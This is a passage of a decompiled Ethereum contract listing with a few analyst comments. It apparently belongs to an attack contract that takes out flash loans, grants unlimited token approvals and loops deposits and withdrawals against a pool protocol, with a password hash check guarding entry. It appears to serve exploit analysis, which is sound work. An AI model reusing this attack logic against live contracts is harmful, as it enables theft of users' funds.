235 | mem[_1360] = 0 236 | mem[_1360 + 32] = 0 237 | mem[64] = mem[64] + 128 238 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544] = 0 239 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 576] = 0 240 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 608] = 0 241 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 640] = 0 242 | mem[_1360 + 64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 544 243 | mem[_1360 + 96] = 0 244 | mem[_1360 + 128] = 0 245 | mem[_1360 + 160] = 0 246 | mem[_1360 + 192] = 0 247 | mem[_1360 + 224] = 96 248 | mem[s + 32] = _1360 249 | s = _1360 + 64 250 | s = _1360 251 | s = s + 32 252 | idx = idx - 1 253 | continue 254 | _1344 = mem[64] 255 | mem[64] = mem[64] + 256 256 | mem[_1344] = 1 257 | mem[_1344 + 32] = 0 258 | _1345 = mem[64] 259 | mem[64] = mem[64] + 128 260 | mem[_1345] = 0 261 | mem[_1345 + 32] = 0 262 | mem[_1345 + 64] = 0 263 | mem[_1345 + 96] = uint256(stor2.field_0) 264 | mem[_1344 + 64] = _1345 265 | mem[_1344 + 96] = 3 266 | mem[_1344 + 128] = 0 267 | mem[_1344 + 160] = this.address 268 | mem[_1344 + 192] = 0 269 | _1346 = mem[64] 270 | mem[64] = mem[64] + 32 271 | mem[_1346] = 0 272 | mem[_1344 + 224] = _1346 273 | require 0 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 274 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 192] = _1344 275 | _1361 = mem[64] 276 | mem[64] = mem[64] + 256 277 | mem[_1361] = 8 278 | mem[_1361 + 32] = 0 279 | _1362 = mem[64] 280 | mem[64] = mem[64] + 128 281 | mem[_1362] = 0 282 | mem[_1362 + 32] = 0 283 | mem[_1362 + 64] = 0 284 | mem[_1362 + 96] = 0 285 | mem[_1361 + 64] = _1362 286 | mem[_1361 + 96] = 0 287 | mem[_1361 + 128] = 0 288 | mem[_1361 + 160] = this.address 289 | mem[_1361 + 192] = 0 290 | _1373 = mem[64] 291 | mem[mem[64] + 32] = 32 292 | mem[mem[64] + 64] = 0 293 | mem[mem[64]] = 64 294 | mem[_1361 + 224] = mem[64] 295 | require 1 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 296 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 224] = _1361 297 | mem[mem[64] + 96] = 0 298 | mem[mem[64] + 128] = 0 299 | mem[mem[64] + 352] = 1 300 | mem[mem[64] + 384] = 0 301 | mem[mem[64] + 416] = 0 302 | mem[mem[64] + 448] = uint256(stor2.field_0) + 2 303 | mem[mem[64] + 160] = mem[64] + 352 304 | mem[mem[64] + 192] = 3 305 | mem[mem[64] + 224] = 0 306 | mem[mem[64] + 256] = this.address 307 | mem[mem[64] + 288] = 0 308 | mem[mem[64] + 480] = 0 309 | mem[mem[64] + 320] = mem[64] + 480 310 | require 2 < mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 311 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 256] = mem[64] + 96 312 | mem[mem[64] + 512] = 1 313 | mem[mem[64] + 576] = 0 314 | mem[mem[64] + 608] = 0 315 | mem[64] = mem[64] + 704 316 | mem[_1373 + 640] = this.address 317 | mem[_1373 + 672] = 1 318 | mem[_1373 + 544] = _1373 + 640 319 | mem[_1373 + 704] = 0xa67a6a4500000000000000000000000000000000000000000000000000000000 320 | mem[_1373 + 708] = 64 321 | mem[_1373 + 772] = 1 322 | idx = 0 323 | s = _1373 + 544 324 | t = _1373 + 804 325 | while idx < mem[_1373 + 512]: 326 | _1673 = mem[s] 327 | mem[t] = mem[mem[s] + 12 len 20] 328 | mem[t + 32] = mem[_1673 + 32] 329 | idx = idx + 1 330 | s = s + 32 331 | t = t + 64 332 | continue 333 | mem[_1373 + 740] = 160 334 | _1672 = mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 335 | mem[_1373 + 868] = mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 160] 336 | idx = 0 337 | s = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 192 338 | t = _1373 + (32 * _1672) + 900 339 | u = _1373 + 900 340 | while idx < _1672: 341 | mem[u] = t + -_1373 - 900 342 | _1782 = mem[s] 343 | require mem[mem[s]] < 9 344 | mem[t] = mem[mem[s]] 345 | mem[t + 32] = mem[_1782 + 32] 346 | _1793 = mem[_1782 + 64] 347 | mem[t + 64] = bool(mem[mem[_1782 + 64]]) 348 | require mem[_1793 + 32] < 2 349 | mem[t + 96] = mem[_1793 + 32] 350 | require mem[_1793 + 64] < 2 351 | mem[t + 128] = mem[_1793 + 64] 352 | mem[t + 160] = mem[_1793 + 96] 353 | mem[t + 192] = mem[_1782 + 96] 354 | mem[t + 224] = mem[_1782 + 128] 355 | mem[t + 256] = mem[_1782 + 172 len 20] 356 | mem[t + 288] = mem[_1782 + 192] 357 | _1847 = mem[_1782 + 224] 358 | mem[t + 320] = 352 359 | _1853 = mem[_1847] 360 | mem[t + 352] = mem[_1847] 361 | v = 0 362 | while v < _1853: 363 | mem[v + t + 384] = mem[v + _1847 + 32] 364 | v = v + 32 365 | continue 366 | if ceil32(_1853) > _1853: 367 | mem[_1853 + t + 384] = 0 368 | idx = idx + 1 369 | s = s + 32 370 | t = ceil32(_1853) + t + 384 371 | u = u + 32 372 | continue 373 | require ext_code.size(stor6) 374 | call stor6.mem[mem[64] len 4] with: 375 | gas gas_remaining wei 376 | args mem[mem[64] + 4 len t + -mem[64] - 4] 377 | if not ext_call.success: 378 | revert with ext_call.return_data[0 len return_data.size] 379 | mem[mem[64] + 4] = stor6 380 | mem[mem[64] + 36] = 0 381 | require ext_code.size(stor7) 382 | call stor7.approve(address spender, uint256 tokens) with: 383 | gas gas_remaining wei 384 | args stor6, 0 385 | mem[mem[64]] = ext_call.return_data[0] 386 | if not ext_call.success: 387 | revert with ext_call.return_data[0 len return_data.size] 388 | _1822 = mem[64] 389 | mem[64] = mem[64] + ceil32(return_data.size) 390 | require return_data.size >=′ 32 391 | require mem[_1822] == bool(mem[_1822]) 392 | mem[mem[64] + 4] = stor5 393 | mem[mem[64] + 36] = 0 394 | require ext_code.size(stor7) 395 | call stor7.approve(address spender, uint256 tokens) with: 396 | gas gas_remaining wei 397 | args stor5, 0 398 | mem[mem[64]] = ext_call.return_data[0] 399 | if not ext_call.success: 400 | revert with ext_call.return_data[0 len return_data.size] 401 | _1869 = mem[64] 402 | mem[64] = mem[64] + ceil32(return_data.size) 403 | require return_data.size >=′ 32 404 | require mem[_1869] == bool(mem[_1869]) 405 | else: 406 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 164] = this.address 407 | require ext_code.size(stor1) 408 | static call stor1.balanceOf(address tokenOwner) with: 409 | gas gas_remaining wei 410 | args this.address 411 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 160] = ext_call.return_data[0] 412 | if not ext_call.success: 413 | revert with ext_call.return_data[0 len return_data.size] 414 | require return_data.size >=′ 32 415 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 160] = 30 416 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 192] = 'SafeMath: subtraction overflow' 417 | if ext_call.return_data[0] > 50000 * 10^18: 418 | revert with 0, 'SafeMath: subtraction overflow', 0 419 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 224] = 26 420 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 256] = 'SafeMath: division by zero' 421 | uint255(stor2.field_0) = -ext_call.return_data[0] + 50000 * 10^18 / 2 422 | bool(stor2.field_255) = 0 423 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 292] = stor5 424 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 324] = -1 425 | require ext_code.size(stor7) 426 | call stor7.approve(address spender, uint256 tokens) with: 427 | gas gas_remaining wei 428 | args stor5, -1 429 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 430 | if not ext_call.success: 431 | revert with ext_call.return_data[0 len return_data.size] 432 | require return_data.size >=′ 32 433 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 434 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 292] = this.address 435 | require ext_code.size(stor7) 436 | static call stor7.balanceOf(address tokenOwner) with: 437 | gas gas_remaining wei 438 | args this.address 439 | mem[_param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 440 | if not ext_call.success: 441 | revert with ext_call.return_data[0 len return_data.size] 442 | mem[64] = _param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288 443 | require return_data.size >=′ 32 444 | if ext_call.return_data[0] > uint256(stor2.field_0): 445 | idx = 0 446 | while idx < _param3: 447 | _597 = mem[64] 448 | mem[mem[64]] = 1 449 | mem[64] = mem[64] + 64 450 | require 0 < mem[_597] 451 | mem[_597 + 32] = this.address 452 | mem[_597 + 64] = 1 453 | mem[64] = _597 + 128 454 | mem[_597 + 96] = 5 * 10^6 455 | mem[_597 + 128] = 0x562fa0df00000000000000000000000000000000000000000000000000000000 456 | mem[_597 + 132] = stor0 457 | mem[_597 + 164] = 96 458 | mem[_597 + 228] = mem[_597] 459 | s = 0 460 | t = _597 + 32 461 | u = _597 + 260 462 | while s < mem[_597]: 463 | mem[u] = mem[t + 12 len 20] 464 | s = s + 1 465 | t = t + 32 466 | u = u + 32 467 | continue 468 | mem[_597 + 196] = (32 * mem[_597]) + 128 469 | mem[_597 + (32 * mem[_597]) + 260] = 1 470 | s = 0 471 | t = _597 + (32 * mem[_597]) + 292 472 | u = _597 + 96 473 | while s < 1: 474 | mem[t] = mem[u] 475 | s = s + 1 476 | t = t + 32 477 | u = u + 32 478 | continue 479 | require ext_code.size(stor5) 480 | call stor5.mem[mem[64] len 4] with: 481 | gas gas_remaining wei 482 | args mem[mem[64] + 4 len _597 + (32 * mem[_597]) + -mem[64] + 320] 483 | if not ext_call.success: 484 | revert with ext_call.return_data[0 len return_data.size] 485 | mem[64] = mem[64] + ceil32(return_data.size) 486 | require return_data.size >=′ 32 487 | require ext_code.size(stor0) 488 | call stor0.0x628cb95e with: // normalizedBalance() 489 | gas gas_remaining wei 490 | mem[mem[64]] = ext_call.return_data[0] 491 | if not ext_call.success: 492 | revert with ext_call.return_data[0 len return_data.size] 493 | _1417 = mem[64] 494 | mem[64] = mem[64] + ceil32(return_data.size) 495 | require return_data.size >=′ 32 496 | _1426 = mem[_1417] 497 | mem[mem[64] + 4] = this.address 498 | require ext_code.size(stor1) 499 | static call stor1.balanceOf(address tokenOwner) with: 500 | gas gas_remaining wei 501 | args addr(this.address) 502 | mem[mem[64]] = ext_call.return_data[0] 503 | if not ext_call.success: 504 | revert with ext_call.return_data[0 len return_data.size] 505 | _1468 = mem[64] 506 | mem[64] = mem[64] + ceil32(return_data.size) 507 | require return_data.size >=′ 32 508 | _1483 = mem[_1468] 509 | if _1426 > mem[_1468]: 510 | if not mem[_1468]: 511 | _1535 = mem[64] 512 | mem[64] = mem[64] + 64 513 | mem[_1535] = 26 514 | mem[_1535 + 32] = 'SafeMath: division by zero' 515 | mem[mem[64] + 4] = stor0 516 | mem[mem[64] + 36] = stor7 517 | mem[mem[64] + 68] = 0 518 | mem[mem[64] + 100] = 0 519 | require ext_code.size(stor5) 520 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 521 | gas gas_remaining wei 522 | args stor0, stor7, 0, 0 523 | else: 524 | if 99 * mem[_1468] / mem[_1468] != 99: 525 | revert with 0, 'SafeMath: multiplication overflow' 526 | _1566 = mem[64] 527 | mem[64] = mem[64] + 64 528 | mem[_1566] = 26 529 | mem[_1566 + 32] = 'SafeMath: division by zero' 530 | mem[mem[64] + 4] = stor0 531 | mem[mem[64] + 36] = stor7 532 | mem[mem[64] + 68] = 99 * _1483 / 100 533 | mem[mem[64] + 100] = 0 534 | require ext_code.size(stor5) 535 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 536 | gas gas_remaining wei 537 | args stor0, stor7, 99 * _1483 / 100, 0 538 | else: 539 | if not _1426: 540 | _1536 = mem[64] 541 | mem[64] = mem[64] + 64 542 | mem[_1536] = 26 543 | mem[_1536 + 32] = 'SafeMath: division by zero' 544 | mem[mem[64] + 4] = stor0 545 | mem[mem[64] + 36] = stor7 546 | mem[mem[64] + 68] = 0 547 | mem[mem[64] + 100] = 0 548 | require ext_code.size(stor5) 549 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 550 | gas gas_remaining wei 551 | args stor0, stor7, 0, 0 552 | else: 553 | if 99 * _1426 / _1426 != 99: 554 | revert with 0, 'SafeMath: multiplication overflow' 555 | _1567 = mem[64] 556 | mem[64] = mem[64] + 64 557 | mem[_1567] = 26 558 | mem[_1567 + 32] = 'SafeMath: division by zero' 559 | mem[mem[64] + 4] = stor0 560 | mem[mem[64] + 36] = stor7 561 | mem[mem[64] + 68] = 99 * _1426 / 100 562 | mem[mem[64] + 100] = 0 563 | require ext_code.size(stor5) 564 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 565 | gas gas_remaining wei 566 | args stor0, stor7, 99 * _1426 / 100, 0 567 | mem[mem[64]] = ext_call.return_data[0] 568 | if not ext_call.success: 569 | revert with ext_call.return_data[0 len return_data.size] 570 | mem[64] = mem[64] + ceil32(return_data.size) 571 | require return_data.size >=′ 32 572 | idx = idx + 1 573 | continue 574 | mem[mem[64] + 4] = stor5 575 | mem[mem[64] + 36] = 0 576 | require ext_code.size(stor7) 577 | call stor7.approve(address spender, uint256 tokens) with: 578 | gas gas_remaining wei 579 | args stor5, 0 580 | mem[mem[64]] = ext_call.return_data[0] 581 | if not ext_call.success: 582 | revert with ext_call.return_data[0 len return_data.size] 583 | _634 = mem[64] 584 | mem[64] = mem[64] + ceil32(return_data.size) 585 | require return_data.size >=′ 32 586 | require mem[_634] == bool(mem[_634]) 587 | else: 588 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 292] = stor6 589 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 324] = -1 590 | require ext_code.size(stor7) 591 | call stor7.approve(address spender, uint256 tokens) with: 592 | gas gas_remaining wei 593 | args stor6, -1 594 | mem[_param1.length + ceil32(_param1.length) + (6 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] 595 | if not ext_call.success: 596 | revert with ext_call.return_data[0 len return_data.size] 597 | require return_data.size >=′ 32 598 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 599 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] = 3 600 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416] = 0 601 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 448] = 0 602 | mem[64] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 800 603 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672] = 0 604 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 704] = 0 605 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 736] = 0 606 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 768] = 0 607 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 480] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672 608 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 512] = 0 609 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 544] = 0 610 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 576] = 0 611 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 608] = 0 612 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 640] = 96 613 | mem[var101002] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416 614 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 480 615 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 416 616 | s = var101002 617 | idx = var101003 618 | while idx - 1: 619 | _1356 = mem[64] 620 | mem[64] = mem[64] + 256 621 | mem[_1356] = 0 622 | mem[_1356 + 32] = 0 623 | mem[64] = mem[64] + 128 624 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672] = 0 625 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 704] = 0 626 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 736] = 0 627 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 768] = 0 628 | mem[_1356 + 64] = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 672 629 | mem[_1356 + 96] = 0 630 | mem[_1356 + 128] = 0 631 | mem[_1356 + 160] = 0 632 | mem[_1356 + 192] = 0 633 | mem[_1356 + 224] = 96 634 | mem[s + 32] = _1356 635 | s = _1356 + 64 636 | s = _1356 637 | s = s + 32 638 | idx = idx - 1 639 | continue 640 | _1340 = mem[64] 641 | mem[64] = mem[64] + 256 642 | mem[_1340] = 1 643 | mem[_1340 + 32] = 0 644 | _1341 = mem[64] 645 | mem[64] = mem[64] + 128 646 | mem[_1341] = 0 647 | mem[_1341 + 32] = 0 648 | mem[_1341 + 64] = 0 649 | mem[_1341 + 96] = uint256(stor2.field_0) 650 | mem[_1340 + 64] = _1341 651 | mem[_1340 + 96] = 3 652 | mem[_1340 + 128] = 0 653 | mem[_1340 + 160] = this.address 654 | mem[_1340 + 192] = 0 655 | _1342 = mem[64] 656 | mem[64] = mem[64] + 32 657 | mem[_1342] = 0 658 | mem[_1340 + 224] = _1342 659 | require 0 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 660 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 320] = _1340 661 | _1357 = mem[64] 662 | mem[64] = mem[64] + 256 663 | mem[_1357] = 8 664 | mem[_1357 + 32] = 0 665 | _1358 = mem[64] 666 | mem[64] = mem[64] + 128 667 | mem[_1358] = 0 668 | mem[_1358 + 32] = 0 669 | mem[_1358 + 64] = 0 670 | mem[_1358 + 96] = 0 671 | mem[_1357 + 64] = _1358 672 | mem[_1357 + 96] = 0 673 | mem[_1357 + 128] = 0 674 | mem[_1357 + 160] = this.address 675 | mem[_1357 + 192] = 0 676 | _1372 = mem[64] 677 | mem[mem[64] + 32] = 32 678 | mem[mem[64] + 64] = 0 679 | mem[mem[64]] = 64 680 | mem[_1357 + 224] = mem[64] 681 | require 1 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 682 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 352] = _1357 683 | mem[mem[64] + 96] = 0 684 | mem[mem[64] + 128] = 0 685 | mem[mem[64] + 352] = 1 686 | mem[mem[64] + 384] = 0 687 | mem[mem[64] + 416] = 0 688 | mem[mem[64] + 448] = uint256(stor2.field_0) + 2 689 | mem[mem[64] + 160] = mem[64] + 352 690 | mem[mem[64] + 192] = 3 691 | mem[mem[64] + 224] = 0 692 | mem[mem[64] + 256] = this.address 693 | mem[mem[64] + 288] = 0 694 | mem[mem[64] + 480] = 0 695 | mem[mem[64] + 320] = mem[64] + 480 696 | require 2 < mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 697 | mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 384] = mem[64] + 96 698 | mem[mem[64] + 512] = 1 699 | mem[mem[64] + 576] = 0 700 | mem[mem[64] + 608] = 0 701 | mem[64] = mem[64] + 704 702 | mem[_1372 + 640] = this.address 703 | mem[_1372 + 672] = 1 704 | mem[_1372 + 544] = _1372 + 640 705 | mem[_1372 + 704] = 0xa67a6a4500000000000000000000000000000000000000000000000000000000 706 | mem[_1372 + 708] = 64 707 | mem[_1372 + 772] = 1 708 | idx = 0 709 | s = _1372 + 544 710 | t = _1372 + 804 711 | while idx < mem[_1372 + 512]: 712 | _1669 = mem[s] 713 | mem[t] = mem[mem[s] + 12 len 20] 714 | mem[t + 32] = mem[_1669 + 32] 715 | idx = idx + 1 716 | s = s + 32 717 | t = t + 64 718 | continue 719 | mem[_1372 + 740] = 160 720 | _1668 = mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 721 | mem[_1372 + 868] = mem[_param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 288] 722 | idx = 0 723 | s = _param1.length + ceil32(_param1.length) + (7 * ceil32(return_data.size)) + 320 724 | t = _1372 + (32 * _1668) + 900 725 | u = _1372 + 900 726 | while idx < _1668: 727 | mem[u] = t + -_1372 - 900 728 | _1780 = mem[s] 729 | require mem[mem[s]] < 9 730 | mem[t] = mem[mem[s]] 731 | mem[t + 32] = mem[_1780 + 32] 732 | _1790 = mem[_1780 + 64] 733 | mem[t + 64] = bool(mem[mem[_1780 + 64]]) 734 | require mem[_1790 + 32] < 2 735 | mem[t + 96] = mem[_1790 + 32] 736 | require mem[_1790 + 64] < 2 737 | mem[t + 128] = mem[_1790 + 64] 738 | mem[t + 160] = mem[_1790 + 96] 739 | mem[t + 192] = mem[_1780 + 96] 740 | mem[t + 224] = mem[_1780 + 128] 741 | mem[t + 256] = mem[_1780 + 172 len 20] 742 | mem[t + 288] = mem[_1780 + 192] 743 | _1845 = mem[_1780 + 224] 744 | mem[t + 320] = 352 745 | _1852 = mem[_1845] 746 | mem[t + 352] = mem[_1845] 747 | v = 0 748 | while v < _1852: 749 | mem[v + t + 384] = mem[v + _1845 + 32] 750 | v = v + 32 751 | continue 752 | if ceil32(_1852) > _1852: 753 | mem[_1852 + t + 384] = 0 754 | idx = idx + 1 755 | s = s + 32 756 | t = ceil32(_1852) + t + 384 757 | u = u + 32 758 | continue 759 | require ext_code.size(stor6) 760 | call stor6.mem[mem[64] len 4] with: 761 | gas gas_remaining wei 762 | args mem[mem[64] + 4 len t + -mem[64] - 4] 763 | if not ext_call.success: 764 | revert with ext_call.return_data[0 len return_data.size] 765 | mem[mem[64] + 4] = stor6 766 | mem[mem[64] + 36] = 0 767 | require ext_code.size(stor7) 768 | call stor7.approve(address spender, uint256 tokens) with: 769 | gas gas_remaining wei 770 | args stor6, 0 771 | mem[mem[64]] = ext_call.return_data[0] 772 | if not ext_call.success: 773 | revert with ext_call.return_data[0 len return_data.size] 774 | _1820 = mem[64] 775 | mem[64] = mem[64] + ceil32(return_data.size) 776 | require return_data.size >=′ 32 777 | require mem[_1820] == bool(mem[_1820]) 778 | mem[mem[64] + 4] = stor5 779 | mem[mem[64] + 36] = 0 780 | require ext_code.size(stor7) 781 | call stor7.approve(address spender, uint256 tokens) with: 782 | gas gas_remaining wei 783 | args stor5, 0 784 | mem[mem[64]] = ext_call.return_data[0] 785 | if not ext_call.success: 786 | revert with ext_call.return_data[0 len return_data.size] 787 | _1868 = mem[64] 788 | mem[64] = mem[64] + ceil32(return_data.size) 789 | require return_data.size >=′ 32 790 | require mem[_1868] == bool(mem[_1868]) 791 | else: 792 | mem[_param1.length + ceil32(_param1.length) + 160] = 0 793 | mem[ceil32(_param1.length) + 128] = _param1.length 794 | require 0x3573d3b804dc64c2723a25c489ad31d6acfd3bb89ae03e9df018bea83b2a5b54 == sha3(mem[ceil32(_param1.length) + 160 len Mask(8 * -ceil32(_param1.length) + _param1.length + 32, 0, 0), mem[_param1.length + 160 len -_param1.length + ceil32(_param1.length)]]) 795 | // ^^ 2.4177229616983905e+76 796 | stor0 = addr(_param2) 797 | stor3 = _param3 798 | mem[_param1.length + ceil32(_param1.length) + 164] = addr(_param2) 799 | require ext_code.size(stor5) 800 | static call stor5.0x913dceb2 with: // poolTokenByProtocol; again, get the pool token for _param2 801 | gas gas_remaining wei 802 | args addr(_param2) 803 | mem[_param1.length + ceil32(_param1.length) + 160] = ext_call.return_data[0] 804 | if not ext_call.success: 805 | revert with ext_call.return_data[0 len return_data.size] 806 | require return_data.size >=′ 32 807 | require ext_call.return_data[0] == ext_call.return_data[12 len 20] 808 | stor1 = ext_call.return_data[12 len 20] 809 | if 0x91d7b9a8d2314110d4018c88dbfdcf5e2ba4772e == addr(_param2): // if CurveFiProtocol_SUSD 810 | uint256(stor2.field_0) = 800000 * 10^18 811 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 164] = stor5 812 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 196] = -1 813 | require ext_code.size(stor7) 814 | call stor7.approve(address spender, uint256 tokens) with: 815 | gas gas_remaining wei 816 | args stor5, -1 817 | mem[_param1.length + ceil32(_param1.length) + ceil32(return_data.size) + 160] = ext_call.return_data[0] 818 | if not ext_call.success: 819 | revert with ext_call.return_data[0 len return_data.size] 820 | require return_data.size >=′ 32 821 | require ext_call.return_data[0] == bool(ext_call.return_data[0]) 822 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 164] = this.address 823 | require ext_code.size(stor7) 824 | static call stor7.balanceOf(address tokenOwner) with: 825 | gas gas_remaining wei 826 | args this.address 827 | mem[_param1.length + ceil32(_param1.length) + (2 * ceil32(return_data.size)) + 160] = ext_call.return_data[0] 828 | if not ext_call.success: 829 | revert with ext_call.return_data[0 len return_data.size] 830 | mem[64] = _param1.length + ceil32(_param1.length) + (4 * ceil32(return_data.size)) + 160 831 | require return_data.size >=′ 32 832 | if ext_call.return_data[0] > uint256(stor2.field_0): 833 | idx = 0 834 | while idx < _param3: 835 | _606 = mem[64] 836 | mem[mem[64]] = 1 837 | mem[64] = mem[64] + 64 838 | require 0 < mem[_606] 839 | mem[_606 + 32] = this.address 840 | mem[_606 + 64] = 1 841 | mem[64] = _606 + 128 842 | mem[_606 + 96] = 5 * 10^6 843 | mem[_606 + 128] = 0x562fa0df00000000000000000000000000000000000000000000000000000000 844 | mem[_606 + 132] = stor0 845 | mem[_606 + 164] = 96 846 | mem[_606 + 228] = mem[_606] 847 | s = 0 848 | t = _606 + 32 849 | u = _606 + 260 850 | while s < mem[_606]: 851 | mem[u] = mem[t + 12 len 20] 852 | s = s + 1 853 | t = t + 32 854 | u = u + 32 855 | continue 856 | mem[_606 + 196] = (32 * mem[_606]) + 128 857 | mem[_606 + (32 * mem[_606]) + 260] = 1 858 | s = 0 859 | t = _606 + (32 * mem[_606]) + 292 860 | u = _606 + 96 861 | while s < 1: 862 | mem[t] = mem[u] 863 | s = s + 1 864 | t = t + 32 865 | u = u + 32 866 | continue 867 | require ext_code.size(stor5) 868 | call stor5.mem[mem[64] len 4] with: 869 | gas gas_remaining wei 870 | args mem[mem[64] + 4 len _606 + (32 * mem[_606]) + -mem[64] + 320] 871 | if not ext_call.success: 872 | revert with ext_call.return_data[0 len return_data.size] 873 | mem[64] = mem[64] + ceil32(return_data.size) 874 | require return_data.size >=′ 32 875 | require ext_code.size(stor0) 876 | call stor0.0x628cb95e with: 877 | gas gas_remaining wei 878 | mem[mem[64]] = ext_call.return_data[0] 879 | if not ext_call.success: 880 | revert with ext_call.return_data[0 len return_data.size] 881 | _1423 = mem[64] 882 | mem[64] = mem[64] + ceil32(return_data.size) 883 | require return_data.size >=′ 32 884 | _1435 = mem[_1423] 885 | mem[mem[64] + 4] = this.address 886 | require ext_code.size(stor1) 887 | static call stor1.balanceOf(address tokenOwner) with: 888 | gas gas_remaining wei 889 | args addr(this.address) 890 | mem[mem[64]] = ext_call.return_data[0] 891 | if not ext_call.success: 892 | revert with ext_call.return_data[0 len return_data.size] 893 | _1471 = mem[64] 894 | mem[64] = mem[64] + ceil32(return_data.size) 895 | require return_data.size >=′ 32 896 | _1495 = mem[_1471] 897 | if _1435 > mem[_1471]: 898 | if not mem[_1471]: 899 | _1550 = mem[64] 900 | mem[64] = mem[64] + 64 901 | mem[_1550] = 26 902 | mem[_1550 + 32] = 'SafeMath: division by zero' 903 | mem[mem[64] + 4] = stor0 904 | mem[mem[64] + 36] = stor7 905 | mem[mem[64] + 68] = 0 906 | mem[mem[64] + 100] = 0 907 | require ext_code.size(stor5) 908 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 909 | gas gas_remaining wei 910 | args stor0, stor7, 0, 0 911 | else: 912 | if 99 * mem[_1471] / mem[_1471] != 99: 913 | revert with 0, 'SafeMath: multiplication overflow' 914 | _1578 = mem[64] 915 | mem[64] = mem[64] + 64 916 | mem[_1578] = 26 917 | mem[_1578 + 32] = 'SafeMath: division by zero' 918 | mem[mem[64] + 4] = stor0 919 | mem[mem[64] + 36] = stor7 920 | mem[mem[64] + 68] = 99 * _1495 / 100 921 | mem[mem[64] + 100] = 0 922 | require ext_code.size(stor5) 923 | call stor5.withdraw(address account, address tokenAddr, uint256 index_from, uint256 index_to) with: 924 | gas gas_remaining wei 925 | args stor0, stor7, 99 * _1495 / 100, 0 926 | else: 927 | if not _1435: 928 | _1551 = mem[64] 929 